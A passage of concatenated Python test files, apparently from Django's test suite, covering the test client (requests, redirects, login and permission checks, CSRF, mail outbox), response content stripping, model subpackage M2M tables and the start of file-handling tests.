    url(r'^form_view_with_template/$', views.form_view_with_template),
    url(r'^formset_view/$', views.formset_view),
    url(r'^login_protected_view/$', views.login_protected_view),
    url(r'^login_protected_method_view/$', views.login_protected_method_view),
    url(r'^login_protected_view_custom_redirect/$', views.login_protected_view_changed_redirect),
    url(r'^permission_protected_view/$', views.permission_protected_view),
    url(r'^permission_protected_view_exception/$', views.permission_protected_view_exception),
    url(r'^permission_protected_method_view/$', views.permission_protected_method_view),
    url(r'^session_view/$', views.session_view),
    url(r'^broken_view/$', views.broken_view),
    url(r'^mail_sending_view/$', views.mail_sending_view),
    url(r'^mass_mail_sending_view/$', views.mass_mail_sending_view),
    url(r'^nesting_exception_view/$', views.nesting_exception_view),
    url(r'^django_project_redirect/$', views.django_project_redirect),

    url(r'^accounts/$', RedirectView.as_view(url='login/')),
    url(r'^accounts/no_trailing_slash$', RedirectView.as_view(url='login/')),
    url(r'^accounts/login/$', auth_views.LoginView.as_view(template_name='login.html')),
    url(r'^accounts/logout/$', auth_views.LogoutView.as_view()),
]






from __future__ import unicode_literals

import gzip
import io

from django.http import HttpRequest, HttpResponse, StreamingHttpResponse
from django.test import SimpleTestCase
from django.test.client import conditional_content_removal


# based on Python 3.3's gzip.compress
def gzip_compress(data):
    buf = io.BytesIO()
    with gzip.GzipFile(fileobj=buf, mode='wb', compresslevel=0) as f:
        f.write(data)
    return buf.getvalue()


class ConditionalContentTests(SimpleTestCase):

    def test_conditional_content_removal(self):
        """
        Content is removed from regular and streaming responses with a
        status_code of 100-199, 204, 304, or a method of "HEAD".
        """
        req = HttpRequest()

        # Do nothing for 200 responses.
        res = HttpResponse('abc')
        conditional_content_removal(req, res)
        self.assertEqual(res.content, b'abc')

        res = StreamingHttpResponse(['abc'])
        conditional_content_removal(req, res)
        self.assertEqual(b''.join(res), b'abc')

        # Strip content for some status codes.
        for status_code in (100, 150, 199, 204, 304):
            res = HttpResponse('abc', status=status_code)
            conditional_content_removal(req, res)
            self.assertEqual(res.content, b'')

            res = StreamingHttpResponse(['abc'], status=status_code)
            conditional_content_removal(req, res)
            self.assertEqual(b''.join(res), b'')

        # Issue #20472
        abc = gzip_compress(b'abc')
        res = HttpResponse(abc, status=304)
        res['Content-Encoding'] = 'gzip'
        conditional_content_removal(req, res)
        self.assertEqual(res.content, b'')

        res = StreamingHttpResponse([abc], status=304)
        res['Content-Encoding'] = 'gzip'
        conditional_content_removal(req, res)
        self.assertEqual(b''.join(res), b'')

        # Strip content for HEAD requests.
        req.method = 'HEAD'

        res = HttpResponse('abc')
        conditional_content_removal(req, res)
        self.assertEqual(res.content, b'')

        res = StreamingHttpResponse(['abc'])
        conditional_content_removal(req, res)
        self.assertEqual(b''.join(res), b'')






from django.contrib.auth.backends import ModelBackend


class TestClientBackend(ModelBackend):
    pass












# -*- coding: utf-8 -*-
"""
Testing using the Test Client

The test client is a class that can act like a simple
browser for testing purposes.

It allows the user to compose GET and POST requests, and
obtain the response that the server gave to those requests.
The server Response objects are annotated with the details
of the contexts and templates that were rendered during the
process of serving the request.

``Client`` objects are stateful - they will retain cookie (and
thus session) details for the lifetime of the ``Client`` instance.

This is not intended as a replacement for Twill, Selenium, or
other browser automation frameworks - it is here to allow
testing against the contexts and templates produced by a view,
rather than the HTML rendered to the end-user.

"""
from __future__ import unicode_literals

from django.contrib.auth.models import User
from django.core import mail
from django.http import HttpResponse
from django.test import (
    Client, RequestFactory, SimpleTestCase, TestCase, override_settings,
)
from django.urls import reverse_lazy

from .views import get_view, post_view, trace_view


@override_settings(ROOT_URLCONF='test_client.urls')
class ClientTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.u1 = User.objects.create_user(username='testclient', password='password')
        cls.u2 = User.objects.create_user(username='inactive', password='password', is_active=False)

    def test_get_view(self):
        "GET a view"
        # The data is ignored, but let's check it doesn't crash the system
        # anyway.
        data = {'var': '\xf2'}
        response = self.client.get('/get_view/', data)

        # Check some response details
        self.assertContains(response, 'This is a test')
        self.assertEqual(response.context['var'], '\xf2')
        self.assertEqual(response.templates[0].name, 'GET Template')

    def test_get_post_view(self):
        "GET a view that normally expects POSTs"
        response = self.client.get('/post_view/', {})

        # Check some response details
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.templates[0].name, 'Empty GET Template')
        self.assertTemplateUsed(response, 'Empty GET Template')
        self.assertTemplateNotUsed(response, 'Empty POST Template')

    def test_empty_post(self):
        "POST an empty dictionary to a view"
        response = self.client.post('/post_view/', {})

        # Check some response details
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.templates[0].name, 'Empty POST Template')
        self.assertTemplateNotUsed(response, 'Empty GET Template')
        self.assertTemplateUsed(response, 'Empty POST Template')

    def test_post(self):
        "POST some data to a view"
        post_data = {
            'value': 37
        }
        response = self.client.post('/post_view/', post_data)

        # Check some response details
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['data'], '37')
        self.assertEqual(response.templates[0].name, 'POST Template')
        self.assertContains(response, 'Data received')

    def test_trace(self):
        """TRACE a view"""
        response = self.client.trace('/trace_view/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['method'], 'TRACE')
        self.assertEqual(response.templates[0].name, 'TRACE Template')

    def test_response_headers(self):
        "Check the value of HTTP headers returned in a response"
        response = self.client.get("/header_view/")

        self.assertEqual(response['X-DJANGO-TEST'], 'Slartibartfast')

    def test_response_attached_request(self):
        """
        Check that the returned response has a ``request`` attribute with the
        originating environ dict and a ``wsgi_request`` with the originating
        ``WSGIRequest`` instance.
        """
        response = self.client.get("/header_view/")

        self.assertTrue(hasattr(response, 'request'))
        self.assertTrue(hasattr(response, 'wsgi_request'))
        for key, value in response.request.items():
            self.assertIn(key, response.wsgi_request.environ)
            self.assertEqual(response.wsgi_request.environ[key], value)

    def test_response_resolver_match(self):
        """
        The response contains a ResolverMatch instance.
        """
        response = self.client.get('/header_view/')
        self.assertTrue(hasattr(response, 'resolver_match'))

    def test_response_resolver_match_redirect_follow(self):
        """
        The response ResolverMatch instance contains the correct
        information when following redirects.
        """
        response = self.client.get('/redirect_view/', follow=True)
        self.assertEqual(response.resolver_match.url_name, 'get_view')

    def test_response_resolver_match_regular_view(self):
        """
        The response ResolverMatch instance contains the correct
        information when accessing a regular view.
        """
        response = self.client.get('/get_view/')
        self.assertEqual(response.resolver_match.url_name, 'get_view')

    def test_raw_post(self):
        "POST raw data (with a content type) to a view"
        test_doc = """<?xml version="1.0" encoding="utf-8"?>
        <library><book><title>Blink</title><author>Malcolm Gladwell</author></book></library>
        """
        response = self.client.post("/raw_post_view/", test_doc,
                                    content_type="text/xml")
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.templates[0].name, "Book template")
        self.assertEqual(response.content, b"Blink - Malcolm Gladwell")

    def test_insecure(self):
        "GET a URL through http"
        response = self.client.get('/secure_view/', secure=False)
        self.assertFalse(response.test_was_secure_request)
        self.assertEqual(response.test_server_port, '80')

    def test_secure(self):
        "GET a URL through https"
        response = self.client.get('/secure_view/', secure=True)
        self.assertTrue(response.test_was_secure_request)
        self.assertEqual(response.test_server_port, '443')

    def test_redirect(self):
        "GET a URL that redirects elsewhere"
        response = self.client.get('/redirect_view/')
        # Check that the response was a 302 (redirect)
        self.assertRedirects(response, '/get_view/')

    def test_redirect_with_query(self):
        "GET a URL that redirects with given GET parameters"
        response = self.client.get('/redirect_view/', {'var': 'value'})

        # Check if parameters are intact
        self.assertRedirects(response, '/get_view/?var=value')

    def test_permanent_redirect(self):
        "GET a URL that redirects permanently elsewhere"
        response = self.client.get('/permanent_redirect_view/')
        # Check that the response was a 301 (permanent redirect)
        self.assertRedirects(response, '/get_view/', status_code=301)

    def test_temporary_redirect(self):
        "GET a URL that does a non-permanent redirect"
        response = self.client.get('/temporary_redirect_view/')
        # Check that the response was a 302 (non-permanent redirect)
        self.assertRedirects(response, '/get_view/', status_code=302)

    def test_redirect_to_strange_location(self):
        "GET a URL that redirects to a non-200 page"
        response = self.client.get('/double_redirect_view/')

        # Check that the response was a 302, and that
        # the attempt to get the redirection location returned 301 when retrieved
        self.assertRedirects(response, '/permanent_redirect_view/', target_status_code=301)

    def test_follow_redirect(self):
        "A URL that redirects can be followed to termination."
        response = self.client.get('/double_redirect_view/', follow=True)
        self.assertRedirects(response, '/get_view/', status_code=302, target_status_code=200)
        self.assertEqual(len(response.redirect_chain), 2)

    def test_follow_relative_redirect(self):
        "A URL with a relative redirect can be followed."
        response = self.client.get('/accounts/', follow=True)
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.request['PATH_INFO'], '/accounts/login/')

    def test_follow_relative_redirect_no_trailing_slash(self):
        "A URL with a relative redirect with no trailing slash can be followed."
        response = self.client.get('/accounts/no_trailing_slash', follow=True)
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.request['PATH_INFO'], '/accounts/login/')

    def test_redirect_http(self):
        "GET a URL that redirects to an http URI"
        response = self.client.get('/http_redirect_view/', follow=True)
        self.assertFalse(response.test_was_secure_request)

    def test_redirect_https(self):
        "GET a URL that redirects to an https URI"
        response = self.client.get('/https_redirect_view/', follow=True)
        self.assertTrue(response.test_was_secure_request)

    def test_notfound_response(self):
        "GET a URL that responds as '404:Not Found'"
        response = self.client.get('/bad_view/')

        # Check that the response was a 404, and that the content contains MAGIC
        self.assertContains(response, 'MAGIC', status_code=404)

    def test_valid_form(self):
        "POST valid data to a form"
        post_data = {
            'text': 'Hello World',
            'email': 'foo@example.com',
            'value': 37,
            'single': 'b',
            'multi': ('b', 'c', 'e')
        }
        response = self.client.post('/form_view/', post_data)
        self.assertEqual(response.status_code, 200)
        self.assertTemplateUsed(response, "Valid POST Template")

    def test_valid_form_with_hints(self):
        "GET a form, providing hints in the GET data"
        hints = {
            'text': 'Hello World',
            'multi': ('b', 'c', 'e')
        }
        response = self.client.get('/form_view/', data=hints)
        self.assertEqual(response.status_code, 200)
        self.assertTemplateUsed(response, "Form GET Template")
        # Check that the multi-value data has been rolled out ok
        self.assertContains(response, 'Select a valid choice.', 0)

    def test_incomplete_data_form(self):
        "POST incomplete data to a form"
        post_data = {
            'text': 'Hello World',
            'value': 37
        }
        response = self.client.post('/form_view/', post_data)
        self.assertContains(response, 'This field is required.', 3)
        self.assertEqual(response.status_code, 200)
        self.assertTemplateUsed(response, "Invalid POST Template")

        self.assertFormError(response, 'form', 'email', 'This field is required.')
        self.assertFormError(response, 'form', 'single', 'This field is required.')
        self.assertFormError(response, 'form', 'multi', 'This field is required.')

    def test_form_error(self):
        "POST erroneous data to a form"
        post_data = {
            'text': 'Hello World',
            'email': 'not an email address',
            'value': 37,
            'single': 'b',
            'multi': ('b', 'c', 'e')
        }
        response = self.client.post('/form_view/', post_data)
        self.assertEqual(response.status_code, 200)
        self.assertTemplateUsed(response, "Invalid POST Template")

        self.assertFormError(response, 'form', 'email', 'Enter a valid email address.')

    def test_valid_form_with_template(self):
        "POST valid data to a form using multiple templates"
        post_data = {
            'text': 'Hello World',
            'email': 'foo@example.com',
            'value': 37,
            'single': 'b',
            'multi': ('b', 'c', 'e')
        }
        response = self.client.post('/form_view_with_template/', post_data)
        self.assertContains(response, 'POST data OK')
        self.assertTemplateUsed(response, "form_view.html")
        self.assertTemplateUsed(response, 'base.html')
        self.assertTemplateNotUsed(response, "Valid POST Template")

    def test_incomplete_data_form_with_template(self):
        "POST incomplete data to a form using multiple templates"
        post_data = {
            'text': 'Hello World',
            'value': 37
        }
        response = self.client.post('/form_view_with_template/', post_data)
        self.assertContains(response, 'POST data has errors')
        self.assertTemplateUsed(response, 'form_view.html')
        self.assertTemplateUsed(response, 'base.html')
        self.assertTemplateNotUsed(response, "Invalid POST Template")

        self.assertFormError(response, 'form', 'email', 'This field is required.')
        self.assertFormError(response, 'form', 'single', 'This field is required.')
        self.assertFormError(response, 'form', 'multi', 'This field is required.')

    def test_form_error_with_template(self):
        "POST erroneous data to a form using multiple templates"
        post_data = {
            'text': 'Hello World',
            'email': 'not an email address',
            'value': 37,
            'single': 'b',
            'multi': ('b', 'c', 'e')
        }
        response = self.client.post('/form_view_with_template/', post_data)
        self.assertContains(response, 'POST data has errors')
        self.assertTemplateUsed(response, "form_view.html")
        self.assertTemplateUsed(response, 'base.html')
        self.assertTemplateNotUsed(response, "Invalid POST Template")

        self.assertFormError(response, 'form', 'email', 'Enter a valid email address.')

    def test_unknown_page(self):
        "GET an invalid URL"
        response = self.client.get('/unknown_view/')

        # Check that the response was a 404
        self.assertEqual(response.status_code, 404)

    def test_url_parameters(self):
        "Make sure that URL ;-parameters are not stripped."
        response = self.client.get('/unknown_view/;some-parameter')

        # Check that the path in the response includes it (ignore that it's a 404)
        self.assertEqual(response.request['PATH_INFO'], '/unknown_view/;some-parameter')

    def test_view_with_login(self):
        "Request a page that is protected with @login_required"

        # Get the page without logging in. Should result in 302.
        response = self.client.get('/login_protected_view/')
        self.assertRedirects(response, '/accounts/login/?next=/login_protected_view/')

        # Log in
        login = self.client.login(username='testclient', password='password')
        self.assertTrue(login, 'Could not log in')

        # Request a page that requires a login
        response = self.client.get('/login_protected_view/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['user'].username, 'testclient')

    @override_settings(
        INSTALLED_APPS=['django.contrib.auth'],
        SESSION_ENGINE='django.contrib.sessions.backends.file',
    )
    def test_view_with_login_when_sessions_app_is_not_installed(self):
        self.test_view_with_login()

    def test_view_with_force_login(self):
        "Request a page that is protected with @login_required"
        # Get the page without logging in. Should result in 302.
        response = self.client.get('/login_protected_view/')
        self.assertRedirects(response, '/accounts/login/?next=/login_protected_view/')

        # Log in
        self.client.force_login(self.u1)

        # Request a page that requires a login
        response = self.client.get('/login_protected_view/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['user'].username, 'testclient')

    def test_view_with_method_login(self):
        "Request a page that is protected with a @login_required method"

        # Get the page without logging in. Should result in 302.
        response = self.client.get('/login_protected_method_view/')
        self.assertRedirects(response, '/accounts/login/?next=/login_protected_method_view/')

        # Log in
        login = self.client.login(username='testclient', password='password')
        self.assertTrue(login, 'Could not log in')

        # Request a page that requires a login
        response = self.client.get('/login_protected_method_view/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['user'].username, 'testclient')

    def test_view_with_method_force_login(self):
        "Request a page that is protected with a @login_required method"
        # Get the page without logging in. Should result in 302.
        response = self.client.get('/login_protected_method_view/')
        self.assertRedirects(response, '/accounts/login/?next=/login_protected_method_view/')

        # Log in
        self.client.force_login(self.u1)

        # Request a page that requires a login
        response = self.client.get('/login_protected_method_view/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['user'].username, 'testclient')

    def test_view_with_login_and_custom_redirect(self):
        "Request a page that is protected with @login_required(redirect_field_name='redirect_to')"

        # Get the page without logging in. Should result in 302.
        response = self.client.get('/login_protected_view_custom_redirect/')
        self.assertRedirects(response, '/accounts/login/?redirect_to=/login_protected_view_custom_redirect/')

        # Log in
        login = self.client.login(username='testclient', password='password')
        self.assertTrue(login, 'Could not log in')

        # Request a page that requires a login
        response = self.client.get('/login_protected_view_custom_redirect/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['user'].username, 'testclient')

    def test_view_with_force_login_and_custom_redirect(self):
        """
        Request a page that is protected with
        @login_required(redirect_field_name='redirect_to')
        """
        # Get the page without logging in. Should result in 302.
        response = self.client.get('/login_protected_view_custom_redirect/')
        self.assertRedirects(response, '/accounts/login/?redirect_to=/login_protected_view_custom_redirect/')

        # Log in
        self.client.force_login(self.u1)

        # Request a page that requires a login
        response = self.client.get('/login_protected_view_custom_redirect/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['user'].username, 'testclient')

    def test_view_with_bad_login(self):
        "Request a page that is protected with @login, but use bad credentials"

        login = self.client.login(username='otheruser', password='nopassword')
        self.assertFalse(login)

    def test_view_with_inactive_login(self):
        """
        An inactive user may login if the authenticate backend allows it.
        """
        credentials = {'username': 'inactive', 'password': 'password'}
        self.assertFalse(self.client.login(**credentials))

        with self.settings(AUTHENTICATION_BACKENDS=['django.contrib.auth.backends.AllowAllUsersModelBackend']):
            self.assertTrue(self.client.login(**credentials))

    @override_settings(
        AUTHENTICATION_BACKENDS=[
            'django.contrib.auth.backends.ModelBackend',
            'django.contrib.auth.backends.AllowAllUsersModelBackend',
        ]
    )
    def test_view_with_inactive_force_login(self):
        "Request a page that is protected with @login, but use an inactive login"

        # Get the page without logging in. Should result in 302.
        response = self.client.get('/login_protected_view/')
        self.assertRedirects(response, '/accounts/login/?next=/login_protected_view/')

        # Log in
        self.client.force_login(self.u2, backend='django.contrib.auth.backends.AllowAllUsersModelBackend')

        # Request a page that requires a login
        response = self.client.get('/login_protected_view/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['user'].username, 'inactive')

    def test_logout(self):
        "Request a logout after logging in"
        # Log in
        self.client.login(username='testclient', password='password')

        # Request a page that requires a login
        response = self.client.get('/login_protected_view/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['user'].username, 'testclient')

        # Log out
        self.client.logout()

        # Request a page that requires a login
        response = self.client.get('/login_protected_view/')
        self.assertRedirects(response, '/accounts/login/?next=/login_protected_view/')

    def test_logout_with_force_login(self):
        "Request a logout after logging in"
        # Log in
        self.client.force_login(self.u1)

        # Request a page that requires a login
        response = self.client.get('/login_protected_view/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['user'].username, 'testclient')

        # Log out
        self.client.logout()

        # Request a page that requires a login
        response = self.client.get('/login_protected_view/')
        self.assertRedirects(response, '/accounts/login/?next=/login_protected_view/')

    @override_settings(
        AUTHENTICATION_BACKENDS=[
            'django.contrib.auth.backends.ModelBackend',
            'test_client.auth_backends.TestClientBackend',
        ],
    )
    def test_force_login_with_backend(self):
        """
        Request a page that is protected with @login_required when using
        force_login() and passing a backend.
        """
        # Get the page without logging in. Should result in 302.
        response = self.client.get('/login_protected_view/')
        self.assertRedirects(response, '/accounts/login/?next=/login_protected_view/')

        # Log in
        self.client.force_login(self.u1, backend='test_client.auth_backends.TestClientBackend')
        self.assertEqual(self.u1.backend, 'test_client.auth_backends.TestClientBackend')

        # Request a page that requires a login
        response = self.client.get('/login_protected_view/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['user'].username, 'testclient')

    @override_settings(
        AUTHENTICATION_BACKENDS=[
            'django.contrib.auth.backends.ModelBackend',
            'test_client.auth_backends.TestClientBackend',
        ],
    )
    def test_force_login_without_backend(self):
        """
        force_login() without passing a backend and with multiple backends
        configured should automatically use the first backend.
        """
        self.client.force_login(self.u1)
        response = self.client.get('/login_protected_view/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['user'].username, 'testclient')
        self.assertEqual(self.u1.backend, 'django.contrib.auth.backends.ModelBackend')

    @override_settings(SESSION_ENGINE="django.contrib.sessions.backends.signed_cookies")
    def test_logout_cookie_sessions(self):
        self.test_logout()

    def test_view_with_permissions(self):
        "Request a page that is protected with @permission_required"

        # Get the page without logging in. Should result in 302.
        response = self.client.get('/permission_protected_view/')
        self.assertRedirects(response, '/accounts/login/?next=/permission_protected_view/')

        # Log in
        login = self.client.login(username='testclient', password='password')
        self.assertTrue(login, 'Could not log in')

        # Log in with wrong permissions. Should result in 302.
        response = self.client.get('/permission_protected_view/')
        self.assertRedirects(response, '/accounts/login/?next=/permission_protected_view/')

        # TODO: Log in with right permissions and request the page again

    def test_view_with_permissions_exception(self):
        "Request a page that is protected with @permission_required but raises an exception"

        # Get the page without logging in. Should result in 403.
        response = self.client.get('/permission_protected_view_exception/')
        self.assertEqual(response.status_code, 403)

        # Log in
        login = self.client.login(username='testclient', password='password')
        self.assertTrue(login, 'Could not log in')

        # Log in with wrong permissions. Should result in 403.
        response = self.client.get('/permission_protected_view_exception/')
        self.assertEqual(response.status_code, 403)

    def test_view_with_method_permissions(self):
        "Request a page that is protected with a @permission_required method"

        # Get the page without logging in. Should result in 302.
        response = self.client.get('/permission_protected_method_view/')
        self.assertRedirects(response, '/accounts/login/?next=/permission_protected_method_view/')

        # Log in
        login = self.client.login(username='testclient', password='password')
        self.assertTrue(login, 'Could not log in')

        # Log in with wrong permissions. Should result in 302.
        response = self.client.get('/permission_protected_method_view/')
        self.assertRedirects(response, '/accounts/login/?next=/permission_protected_method_view/')

        # TODO: Log in with right permissions and request the page again

    def test_external_redirect(self):
        response = self.client.get('/django_project_redirect/')
        self.assertRedirects(response, 'https://www.djangoproject.com/', fetch_redirect_response=False)

    def test_external_redirect_with_fetch_error_msg(self):
        """
        Check that assertRedirects without fetch_redirect_response=False raises
        a relevant ValueError rather than a non-descript AssertionError.
        """
        response = self.client.get('/django_project_redirect/')
        msg = (
            "The test client is unable to fetch remote URLs (got "
            "https://www.djangoproject.com/). If the host is served by Django, "
            "add 'www.djangoproject.com' to ALLOWED_HOSTS. "
            "Otherwise, use assertRedirects(..., fetch_redirect_response=False)."
        )
        with self.assertRaisesMessage(ValueError, msg):
            self.assertRedirects(response, 'https://www.djangoproject.com/')

    def test_session_modifying_view(self):
        "Request a page that modifies the session"
        # Session value isn't set initially
        with self.assertRaises(KeyError):
            self.client.session['tobacconist']

        self.client.post('/session_view/')
        # Check that the session was modified
        self.assertEqual(self.client.session['tobacconist'], 'hovercraft')

    @override_settings(
        INSTALLED_APPS=[],
        SESSION_ENGINE='django.contrib.sessions.backends.file',
    )
    def test_sessions_app_is_not_installed(self):
        self.test_session_modifying_view()

    @override_settings(
        INSTALLED_APPS=[],
        SESSION_ENGINE='django.contrib.sessions.backends.nonexistent',
    )
    def test_session_engine_is_invalid(self):
        with self.assertRaisesMessage(ImportError, 'nonexistent'):
            self.test_session_modifying_view()

    def test_view_with_exception(self):
        "Request a page that is known to throw an error"
        with self.assertRaises(KeyError):
            self.client.get("/broken_view/")

    def test_mail_sending(self):
        "Test that mail is redirected to a dummy outbox during test setup"

        response = self.client.get('/mail_sending_view/')
        self.assertEqual(response.status_code, 200)

        self.assertEqual(len(mail.outbox), 1)
        self.assertEqual(mail.outbox[0].subject, 'Test message')
        self.assertEqual(mail.outbox[0].body, 'This is a test email')
        self.assertEqual(mail.outbox[0].from_email, 'from@example.com')
        self.assertEqual(mail.outbox[0].to[0], 'first@example.com')
        self.assertEqual(mail.outbox[0].to[1], 'second@example.com')

    def test_reverse_lazy_decodes(self):
        "Ensure reverse_lazy works in the test client"
        data = {'var': 'data'}
        response = self.client.get(reverse_lazy('get_view'), data)

        # Check some response details
        self.assertContains(response, 'This is a test')

    def test_relative_redirect(self):
        response = self.client.get('/accounts/')
        self.assertRedirects(response, '/accounts/login/')

    def test_relative_redirect_no_trailing_slash(self):
        response = self.client.get('/accounts/no_trailing_slash')
        self.assertRedirects(response, '/accounts/login/')

    def test_mass_mail_sending(self):
        "Test that mass mail is redirected to a dummy outbox during test setup"

        response = self.client.get('/mass_mail_sending_view/')
        self.assertEqual(response.status_code, 200)

        self.assertEqual(len(mail.outbox), 2)
        self.assertEqual(mail.outbox[0].subject, 'First Test message')
        self.assertEqual(mail.outbox[0].body, 'This is the first test email')
        self.assertEqual(mail.outbox[0].from_email, 'from@example.com')
        self.assertEqual(mail.outbox[0].to[0], 'first@example.com')
        self.assertEqual(mail.outbox[0].to[1], 'second@example.com')

        self.assertEqual(mail.outbox[1].subject, 'Second Test message')
        self.assertEqual(mail.outbox[1].body, 'This is the second test email')
        self.assertEqual(mail.outbox[1].from_email, 'from@example.com')
        self.assertEqual(mail.outbox[1].to[0], 'second@example.com')
        self.assertEqual(mail.outbox[1].to[1], 'third@example.com')

    def test_exception_following_nested_client_request(self):
        """
        A nested test client request shouldn't clobber exception signals from
        the outer client request.
        """
        with self.assertRaisesMessage(Exception, 'exception message'):
            self.client.get('/nesting_exception_view/')


@override_settings(
    MIDDLEWARE=['django.middleware.csrf.CsrfViewMiddleware'],
    ROOT_URLCONF='test_client.urls',
)
class CSRFEnabledClientTests(SimpleTestCase):

    def test_csrf_enabled_client(self):
        "A client can be instantiated with CSRF checks enabled"
        csrf_client = Client(enforce_csrf_checks=True)

        # The normal client allows the post
        response = self.client.post('/post_view/', {})
        self.assertEqual(response.status_code, 200)

        # The CSRF-enabled client rejects it
        response = csrf_client.post('/post_view/', {})
        self.assertEqual(response.status_code, 403)


class CustomTestClient(Client):
    i_am_customized = "Yes"


class CustomTestClientTest(SimpleTestCase):
    client_class = CustomTestClient

    def test_custom_test_client(self):
        """A test case can specify a custom class for self.client."""
        self.assertIs(hasattr(self.client, "i_am_customized"), True)


def _generic_view(request):
    return HttpResponse(status=200)


@override_settings(ROOT_URLCONF='test_client.urls')
class RequestFactoryTest(SimpleTestCase):
    """Tests for the request factory."""

    # A mapping between names of HTTP/1.1 methods and their test views.
    http_methods_and_views = (
        ('get', get_view),
        ('post', post_view),
        ('put', _generic_view),
        ('patch', _generic_view),
        ('delete', _generic_view),
        ('head', _generic_view),
        ('options', _generic_view),
        ('trace', trace_view),
    )

    def setUp(self):
        self.request_factory = RequestFactory()

    def test_request_factory(self):
        """The request factory implements all the HTTP/1.1 methods."""
        for method_name, view in self.http_methods_and_views:
            method = getattr(self.request_factory, method_name)
            request = method('/somewhere/')
            response = view(request)

            self.assertEqual(response.status_code, 200)

    def test_get_request_from_factory(self):
        """
        The request factory returns a templated response for a GET request.
        """
        request = self.request_factory.get('/somewhere/')
        response = get_view(request)

        self.assertContains(response, 'This is a test')

    def test_trace_request_from_factory(self):
        """The request factory returns an echo response for a TRACE request."""
        url_path = '/somewhere/'
        request = self.request_factory.trace(url_path)
        response = trace_view(request)
        protocol = request.META["SERVER_PROTOCOL"]
        echoed_request_line = "TRACE {} {}".format(url_path, protocol)

        self.assertContains(response, echoed_request_line)












from __future__ import unicode_literals

from django.db import connection, models
from django.db.backends.utils import truncate_name
from django.test import TestCase

from .models.article import Article, Site
from .models.publication import Publication


class Advertisement(models.Model):
    customer = models.CharField(max_length=100)
    publications = models.ManyToManyField("model_package.Publication", blank=True)


class ModelPackageTests(TestCase):

    def test_m2m_tables_in_subpackage_models(self):
        """
        Regression for #12168: models split into subpackages still get M2M
        tables.
        """
        p = Publication.objects.create(title="FooBar")

        site = Site.objects.create(name="example.com")

        a = Article.objects.create(headline="a foo headline")
        a.publications.add(p)
        a.sites.add(site)

        a = Article.objects.get(id=a.pk)
        self.assertEqual(a.id, a.pk)
        self.assertEqual(a.sites.count(), 1)

    def test_models_in_the_test_package(self):
        """
        Regression for #12245 - Models can exist in the test package, too.
        """
        p = Publication.objects.create(title="FooBar")
        ad = Advertisement.objects.create(customer="Lawrence Journal-World")
        ad.publications.add(p)

        ad = Advertisement.objects.get(id=ad.pk)
        self.assertEqual(ad.publications.count(), 1)

    def test_automatic_m2m_column_names(self):
        """
        Regression for #12386 - field names on the autogenerated intermediate
        class that are specified as dotted strings don't retain any path
        component for the field or column name.
        """
        self.assertEqual(
            Article.publications.through._meta.fields[1].name, 'article'
        )
        self.assertEqual(
            Article.publications.through._meta.fields[1].get_attname_column(),
            ('article_id', 'article_id')
        )
        self.assertEqual(
            Article.publications.through._meta.fields[2].name, 'publication'
        )
        self.assertEqual(
            Article.publications.through._meta.fields[2].get_attname_column(),
            ('publication_id', 'publication_id')
        )

        self.assertEqual(
            Article._meta.get_field('publications').m2m_db_table(),
            truncate_name('model_package_article_publications', connection.ops.max_name_length()),
        )

        self.assertEqual(
            Article._meta.get_field('publications').m2m_column_name(), 'article_id'
        )
        self.assertEqual(
            Article._meta.get_field('publications').m2m_reverse_name(),
            'publication_id'
        )






from django.db import models


class Site(models.Model):
    name = models.CharField(max_length=100)


class Article(models.Model):
    sites = models.ManyToManyField(Site)
    headline = models.CharField(max_length=100)
    publications = models.ManyToManyField("model_package.Publication", blank=True)






from django.db import models


class Publication(models.Model):
    title = models.CharField(max_length=30)






# Import all the models from subpackages
from .article import Article
from .publication import Publication

__all__ = ['Article', 'Publication']












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import gzip
import os
import struct
import tempfile
import unittest
from io import BytesIO, StringIO, TextIOWrapper

from django.core.files import File
from django.core.files.base import ContentFile
from django.core.files.move import file_move_safe
from django.core.files.temp import NamedTemporaryFile
from django.core.files.uploadedfile import SimpleUploadedFile, UploadedFile
from django.test import mock
from django.utils import six
from django.utils._os import upath

try:
    from PIL import Image
except ImportError:
    Image = None
else:
    from django.core.files import images


class FileTests(unittest.TestCase):
    def test_unicode_uploadedfile_name(self):
        uf = UploadedFile(name='¿Cómo?', content_type='text')
        self.assertIs(type(repr(uf)), str)

    def test_unicode_file_name(self):
        f = File(None, 'djángö')
        self.assertIs(type(repr(f)), str)

    def test_context_manager(self):
        orig_file = tempfile.TemporaryFile()
        base_file = File(orig_file)
        with base_file as f:
            self.assertIs(base_file, f)
            self.assertFalse(f.closed)
        self.assertTrue(f.closed)
        self.assertTrue(orig_file.closed)

    def test_namedtemporaryfile_closes(self):
        """
        The symbol django.core.files.NamedTemporaryFile is assigned as
        a different class on different operating systems. In
        any case, the result should minimally mock some of the API of
        tempfile.NamedTemporaryFile from the Python standard library.
        """
        tempfile = NamedTemporaryFile()
        self.assertTrue(hasattr(tempfile, "closed"))
        self.assertFalse(tempfile.closed)

        tempfile.close()
        self.assertTrue(tempfile.closed)

    def test_file_mode(self):
        # Should not set mode to None if it is not present.
        # See #14681, stdlib gzip module crashes if mode is set to None
        file = SimpleUploadedFile("mode_test.txt", b"content")
        self.assertFalse(hasattr(file, 'mode'))
        gzip.GzipFile(fileobj=file)

    def test_file_iteration(self):
        """
        File objects should yield lines when iterated over.
        Refs #22107.
        """
        file = File(BytesIO(b'one\ntwo\nthree'))
        self.assertEqual(list(file), [b'one\n', b'two\n', b'three'])

    def test_file_iteration_windows_newlines(self):
        """
